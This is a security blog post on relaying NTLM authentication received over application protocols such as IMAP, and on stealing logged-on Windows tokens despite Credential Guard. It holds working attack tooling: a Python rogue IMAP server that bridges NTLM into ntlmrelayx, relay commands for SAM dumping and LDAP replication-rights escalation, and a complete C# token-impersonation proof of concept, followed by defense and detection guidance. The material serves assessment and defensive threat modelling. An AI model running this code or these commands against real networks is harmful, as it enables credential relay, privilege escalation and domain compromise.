
Relaying application-protocol NTLM, and stealing logged-on tokens
Most writing about NTLM relay starts and ends with SMB: coerce a machine over MS-EFSRPC or the print spooler, relay the authentication to another SMB service, done. And most writing about turning local admin into domain admin assumes you will dump LSASS. Both assumptions are narrower than the reality, and both gaps are quietly load-bearing on modern networks. This post covers two primitives that live in those gaps. The first is that NTLM authentication rides inside many application protocols, not just SMB, so a client that speaks integrated auth to a mail or database or directory service will hand you its NTLM if you become the server it talks to. The second is that stealing a logged-on user's token is a handle operation, not a memory read, so it keeps working after Credential Guard and LSA protection have closed the credential-dumping door. Neither is novel; both are underused by defenders building a threat model, which is who the second half is for.
Scope: authorized assessment and the defenders who have to recognize these. Everything below is generic and the tooling is public or trivially reproduced; the value is seeing the two primitives whole so the controls that stop them are obvious.
Primitive one: relaying NTLM that arrives over an application protocol
NTLM relay, in one paragraph
NTLM authentication is not bound to the service it was meant for unless something binds it. An attacker who receives an NTLM exchange intended for one service can forward the three messages (negotiate, challenge, authenticate) to a different service and end up authenticated there as the original principal, never learning the password. The defenses are per-target: SMB signing stops SMB relay, LDAP signing plus channel binding (Extended Protection) stops LDAP relay, and HTTP EPA stops HTTP relay. Where a target does not enforce its signing, it is a valid relay destination.
The source does not have to be SMB coercion
The usual relay source is a coerced SMB authentication. But integrated Windows auth (SPNEGO wrapping NTLM) is carried by far more than SMB. A client configured for single-sign-on to an application service will perform NTLM to that service automatically:
- Mail: IMAP, POP3 and SMTP all define a SASL mechanism that carries NTLM (
AUTH NTLM, often afterSTARTTLS). Mail clients and automated mail pollers authenticate on a timer. - Databases: MSSQL integrated auth is NTLM/Kerberos over TDS.
- Directory and web: LDAP and HTTP both negotiate NTLM for SSO.
- Remoting: WinRM and RPC.
Any of these is a source if you can become the server the client talks to, which you can when you control that host, control the DNS name the client resolves, sit in the network path, or the client is simply misconfigured to trust you. Service accounts and scheduled/automated clients are the ideal victims: they authenticate constantly and predictably, and a service account's NTLM is just as relayable as a coerced machine account's.
The rogue server plus bridge
The catch is tooling. The standard relay, Impacket's ntlmrelayx, exposes receivers for SMB, HTTP, WCF, RAW and a few others, but not for IMAP, SMTP or MSSQL. So you split the job in two:
- A small rogue server that speaks the application protocol to the client: advertise
AUTH NTLM(or the protocol's equivalent), terminate TLS with a certificate the client will accept (if you own the legitimate host, reuse its real certificate so there is no warning), and read out the base64 NTLM blobs as they arrive. - A bridge that shuttles those blobs into
ntlmrelayx's HTTP receiver: send the client's Type 1 as anAuthorization: NTLMheader, read the Type 2 back out of theWWW-Authenticateheader the relay returns, hand it to the client, then forward the client's Type 3.ntlmrelayxdoes the actual relay to the real target.
The relay target is an ordinary choice: SMB on a host where SMB signing is off (default attack: dump the local SAM, or run a command), or LDAP on a DC where signing and channel binding are not enforced (grant a controlled account replication rights, then DCSync; that onward path is its own technique, see coerced NTLM relay to LDAP and DCSync replication abuse).
Code: a protocol bridge skeleton
Generic, protocol-neutral, placeholders throughout. The rogue listener parses one protocol (an IMAP-style AUTHENTICATE NTLM is shown because it is the clearest); the bridge half is identical regardless of the front protocol.
#!/usr/bin/env python3
# Rogue application server -> HTTP bridge into a standard NTLM relay.
# The relay (ntlmrelayx) does the real relaying; this only moves Type1/2/3.
import socket, ssl, re, base64
RELAY = ("127.0.0.1", 8080) # ntlmrelayx HTTP receiver
CERT, KEY = "server.pem", "server.key" # a cert the client will accept
def _hdrs(s):
buf = b""
while b"\r\n\r\n" not in buf:
d = s.recv(4096)
if not d: break
buf += d
return buf
def _wwwauth(resp):
m = re.search(rb"WWW-Authenticate:\s*NTLM\s+([A-Za-z0-9+/=]+)", resp, re.I)
return m.group(1) if m else None
def bridge_type2(br, type1_b64):
# prime the relay with a bare request so it issues a 401 NTLM, then send Type1
br.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nConnection: keep-alive\r\n\r\n"); _hdrs(br)
br.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nConnection: keep-alive\r\n"
b"Authorization: NTLM " + type1_b64 + b"\r\n\r\n")
return _wwwauth(_hdrs(br)) # Type2 challenge from the real target
def bridge_type3(br, type3_b64):
br.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nConnection: close\r\n"
b"Authorization: NTLM " + type3_b64 + b"\r\n\r\n")
return _hdrs(br)
def handle(sock):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(CERT, KEY)
c = ctx.wrap_socket(sock, server_side=True) # or do STARTTLS first, then wrap
c.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=NTLM] ready\r\n")
br, state, tag = None, "cmd", b"A"
buf = b""
while True:
d = c.recv(8192)
if not d: break
buf += d
while b"\r\n" in buf:
line, buf = buf.split(b"\r\n", 1)
if state == "t1": # client just sent its Type1
br = socket.create_connection(RELAY, timeout=20)
t2 = bridge_type2(br, line.strip())
c.sendall(b"+ " + t2 + b"\r\n"); state = "t3"; continue
if state == "t3": # client just sent its Type3
bridge_type3(br, line.strip()); br.close()
c.sendall(tag + b" NO auth failed\r\n"); state = "cmd"; continue
p = line.split(b" ", 2); tag = p[0]
cmd = (p[1].upper() if len(p) > 1 else b"")
if cmd == b"AUTHENTICATE": # 'AUTHENTICATE NTLM'
c.sendall(b"+ \r\n"); state = "t1"
else:
c.sendall(tag + b" OK\r\n")
srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 993)); srv.listen(16)
while True:
cl, _ = srv.accept()
handle(cl)
# the real relay: HTTP receiver only, forward to a target whose signing is off.
# SMB target, default attack dumps the local SAM:
ntlmrelayx.py -t smb://<target> -smb2support --http-port 8080 \
--no-smb-server --no-wcf-server --no-raw-server
# or LDAP target, grant a controlled account replication rights (see the LDAP post):
ntlmrelayx.py -t ldap://<dc> --escalate-user <controlled-account> --http-port 8080
Tools: Impacket (ntlmrelayx.py) for the relay; the rogue front end is ~80 lines per protocol. The only real requirement is that the client authenticates to you and the target does not enforce signing.
Primitive two: stealing a logged-on token
Why it still works in 2026
Modern Windows makes credential theft hard: LSASS runs as a protected process (PPL), Credential Guard moves secrets into a VBS enclave, and the usual sekurlsa memory read fails. But a token is not a credential. A logged-on user's access token is a kernel object the user's processes already hold; duplicating it and using it is a handle operation that never reads LSASS memory. So on a host where you have local admin or SYSTEM and a higher-privileged user is logged on, you can act as that user even when every credential-dumping avenue is closed. This is the primitive that quietly bypasses the whole "we enabled Credential Guard" assumption.
Mechanics
You need two privileges, both held by local administrators and SYSTEM: SeDebugPrivilege to open another user's process, and SeImpersonatePrivilege to run with their token. SYSTEM is the cleanest context (local admin over a network logon works too, but a plain admin process may lack an effective SeDebug against a cross-user process, so running as SYSTEM via a service or scheduled task is the reliable path).
The sequence: find a process owned by the target user, open it, open its token, duplicate it, then either adopt the token on your current thread (ImpersonateLoggedOnUser) or spawn a new process with it (CreateProcessWithTokenW / CreateProcessAsUser).
Two nuances decide which form to use:
- Interactive tokens are often UAC-filtered (medium integrity). A process you spawn with a filtered interactive token cannot write protected local paths. But the token's network identity is unfiltered for domain accounts: UAC remote restrictions apply to local accounts, not domain ones. So the stolen token of a logged-on domain admin reads
\\dc\C$as a domain admin even though a local write would be denied. - Spawning across session 0 is fragile. A child created from a service/scheduled task can be torn down with the task's job object, and desktop/session mismatches cause silent failures. Adopting the token on your own thread and doing the work in-process avoids all of it. If the goal is a network action (read a file as the user, bind to LDAP, DCSync), in-process impersonation is both simpler and more reliable than spawning a shell.
Code: token impersonation, in-process
Generic C# PoC, parameterized by a target PID. It impersonates the token and performs a network read as that user. Compile with the in-box compiler (csc.exe); no external dependencies.
using System;
using System.IO;
using System.Security.Principal;
using System.Runtime.InteropServices;
// usage: tokdemo.exe <pid> <\\unc\path\to\read>
// Impersonates the token of <pid>'s owner on THIS thread and reads a path as them.
class TokDemo {
[StructLayout(LayoutKind.Sequential)] struct LUID { public uint lo; public int hi; }
[StructLayout(LayoutKind.Sequential)] struct LUID_AND_ATTR { public LUID Luid; public uint Attr; }
[StructLayout(LayoutKind.Sequential)] struct TOKPRIV { public uint Count; public LUID_AND_ATTR P; }
[DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool inh, int pid);
[DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError=true)] static extern bool OpenProcessToken(IntPtr p, uint a, out IntPtr t);
[DllImport("advapi32.dll", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr t, uint a, IntPtr sa, int imp, int type, out IntPtr dup);
[DllImport("advapi32.dll", SetLastError=true)] static extern bool ImpersonateLoggedOnUser(IntPtr t);
[DllImport("advapi32.dll")] static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool LookupPrivilegeValue(string s, string n, out LUID l);
[DllImport("advapi32.dll", SetLastError=true)] static extern bool AdjustTokenPrivileges(IntPtr t, bool dis, ref TOKPRIV n, int len, IntPtr prev, IntPtr pl);
static void Enable(string name) {
IntPtr t; OpenProcessToken(GetCurrentProcess(), 0x28, out t); // ADJUST|QUERY
LUID l; LookupPrivilegeValue(null, name, out l);
var tp = new TOKPRIV { Count = 1, P = new LUID_AND_ATTR { Luid = l, Attr = 2 } }; // ENABLED
AdjustTokenPrivileges(t, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
static void Main(string[] a) {
Enable("SeDebugPrivilege");
int pid = int.Parse(a[0]);
IntPtr h = OpenProcess(0x0400, false, pid); // QUERY_INFORMATION
if (h == IntPtr.Zero) { Console.WriteLine("OpenProcess " + Marshal.GetLastWin32Error()); return; }
IntPtr tok, dup;
if (!OpenProcessToken(h, 0x0002 | 0x0008, out tok)) // DUPLICATE|QUERY
{ Console.WriteLine("OpenProcessToken " + Marshal.GetLastWin32Error()); return; }
if (!DuplicateTokenEx(tok, 0xF01FF, IntPtr.Zero, 2, 2, out dup))// SecurityImpersonation, TokenImpersonation
{ Console.WriteLine("DuplicateTokenEx " + Marshal.GetLastWin32Error()); return; }
if (!ImpersonateLoggedOnUser(dup))
{ Console.WriteLine("Impersonate " + Marshal.GetLastWin32Error()); return; }
Console.WriteLine("now = " + WindowsIdentity.GetCurrent().Name);
try { Console.WriteLine(File.ReadAllText(a[1])); } // network read AS the user
catch (Exception e) { Console.WriteLine("read err: " + e.Message); }
RevertToSelf();
}
}
To spawn a process as the user instead of reading in-process, swap the ImpersonateLoggedOnUser call for CreateProcessWithTokenW(dup, 0, null, "<cmd>", 0, IntPtr.Zero, "C:\\", ref si, out pi) and wait on the child, but prefer the in-process form for network actions for the reasons above. Public tooling does the same thing (Incognito, Meterpreter's steal_token, RunasCs in token mode); the PoC exists to show there is nothing exotic underneath.
How they chain
These compose into the common "service auth to domain admin" path, and each half is independently useful:
- Capture + relay. A client (often a service account or an automated poller) authenticates to your rogue application server; the bridge relays it to a target with signing off. SMB target with the default attack yields a local SAM dump and therefore local admin on that host.
- Pass-the-hash to the host. The relayed SAM gives a local administrator hash; authenticate to the host with it.
- Token theft. On that host, a higher-privileged user (up to domain admin) is logged on. Impersonate their token and act as them over the network, bypassing LSASS protection entirely, to read privileged resources or to escalate in the directory.
No step requires a cracked password, and the final step requires no LSASS access, which is exactly why a defender who has enabled Credential Guard and left SMB signing off on workstations is still exposed.
Defense
Independent chokepoints; the signing controls end the relay half and tiering ends the token half:
- Enforce signing on every relay target. SMB signing required on all hosts (not just DCs) removes SMB as a relay destination; LDAP signing plus channel binding does the same for LDAP. This is the single highest-leverage control against the whole relay family, SMB-sourced or application-sourced. Roll out in audit mode first to find legacy clients, then enforce.
- Do not let integrated-auth clients trust arbitrary servers. Pin service hostnames, require TLS with validated certificates (not just any trusted-root cert), and control who can create or change the DNS names those clients resolve. An automated client that authenticates on a timer is a standing relay source if its server identity is forgeable.
- Reduce and contain NTLM. Move to Kerberos, apply
Restrict NTLMwhere feasible, and segment so arbitrary hosts cannot reach SMB/LDAP on sensitive targets. A captured authentication with nowhere to land is inert. - Tiered administration (breaks the token half). The token primitive requires a privileged user to be logged on to a host you already control. Tier-0 accounts (domain admins) must never log on to tier-1/2 workstations or member servers; enforce with logon-restriction policies and Protected Users. Credential Guard and LSA protection do not stop token theft, so do not treat them as the control here; the control is keeping high-value tokens off low-value hosts.
- Minimize local admin and SeImpersonate holders. Token theft needs admin/SYSTEM on the host first. Fewer local admins, just-in-time elevation, and careful service-account rights (SeImpersonate is what many potato-style escalations and this primitive rely on) shrink the surface.
Detection
- Relay landing. On relay targets, authentications whose network identity and source host do not match (a service account or machine account authenticating from an unexpected IP), and for the SMB-SAM-dump attack, remote SAM/
lsassregistry or admin-share access following that logon. - Application-auth anomalies. An integrated-auth client suddenly authenticating to a host or name it never used before, or a spike of
AUTH NTLMon a mail/database service, is the signature of a redirected or rogue server. - New replication grant / DCSync, when LDAP is the relay target: Security event 5136 adding
DS-Replication-Get-Changes-Allto a non-DC principal, and 4662 showing replication access by a non-DC. (Covered in the LDAP relay and DCSync posts.) - Token theft is subtle but not invisible. Watch for a logon or resource access by a privileged account from a host where it should never be active, process creation running as a user whose parent chain traces to SYSTEM, and (with Sysmon event 10) process-access handle opens against another user's processes by an unusual caller. The strongest signal is tier violation: a tier-0 identity doing anything from a tier-2 host.
Use
For authorized assessment and for defenders modelling the path. The two primitives matter together because they defeat two comfortable assumptions at once: that NTLM relay is an SMB-coercion problem, and that Credential Guard closes the local-admin-to-domain-admin door. Enforcing signing everywhere and keeping privileged tokens off low-trust hosts turns both into non-events.
References
- Microsoft,
[MS-NLMP]NT LAN Manager (NTLM) Authentication Protocol (the Type 1/2/3 message flow): https://learn.microsoft.com/openspecs/windows_protocols/ms-nlmp/ - Impacket (
ntlmrelayx.py), Fortra: https://github.com/fortra/impacket - dirkjanm, Relaying NTLM authentication and the LDAP escalation path: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
- Microsoft, Access tokens and impersonation (
DuplicateTokenEx,ImpersonateLoggedOnUser,CreateProcessWithTokenW): https://learn.microsoft.com/windows/win32/secauthz/access-tokens - Microsoft, Enforce LDAP channel binding and LDAP signing: https://learn.microsoft.com/troubleshoot/windows-server/active-directory/2020-ldap-channel-binding-and-signing-requirements
- Microsoft, Credential Guard (what it protects, and what it does not): https://learn.microsoft.com/windows/security/identity-protection/credential-guard/
- Microsoft, Securing privileged access / the tier model: https://learn.microsoft.com/security/privileged-access-workstations/privileged-access-access-model
- Related: coerced NTLM relay to LDAP, DCSync replication abuse, authentication coercion, the modern Active Directory attack surface.